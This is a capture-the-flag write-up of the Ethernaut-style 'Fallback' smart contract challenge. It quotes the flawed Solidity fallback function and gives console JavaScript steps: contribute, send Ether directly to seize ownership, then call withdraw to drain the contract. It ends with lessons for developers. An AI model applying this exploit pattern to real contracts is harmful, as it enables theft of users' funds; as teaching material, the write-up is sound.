Challenge Overview:
The Fallback challenge highlights the risks of unintended fallback functions. The goal is to become the contract’s owner by exploiting the fallback function.
Goal:
Become the contract owner by sending Ether and manipulating the fallback function.
Solution: the Fallback contract contains a fallback function that transfers ownership under specific conditions:
function() external payable {
if (msg.value > 0 && contributions[msg.sender] > 0) {
owner = msg.sender;
}
}To exploit this:
Contribute Ether:
const target = contract.address
const me = player // this is your account
// Contribute a tiny amount so your address is in contributions[]
await contract.contribute({
from: me,
value: toWei("0.0001")
})Trigger the Fallback Function: Send Ether directly to the contract without calling any function:
// Send ETH *outside* the ABI to hit the fallback
await sendTransaction({
from: me,
to: target,
value: toWei("0.0001")
})Take Ownership: The fallback function executes, setting the
ownerto the player address.
// now you are now owner
console.log("owner =", await contract.owner(), "player =", me)Drain the Contract: call the
withdrawfunction to transfer all funds:
await contract.withdraw({ from: me })Lessons Learned with this challenge:
Fallback functions can introduce unintended behavior if they are not properly restricted.
Always validate conditions before updating critical states like ownership.
Avoid relying on implicit behavior in Solidity


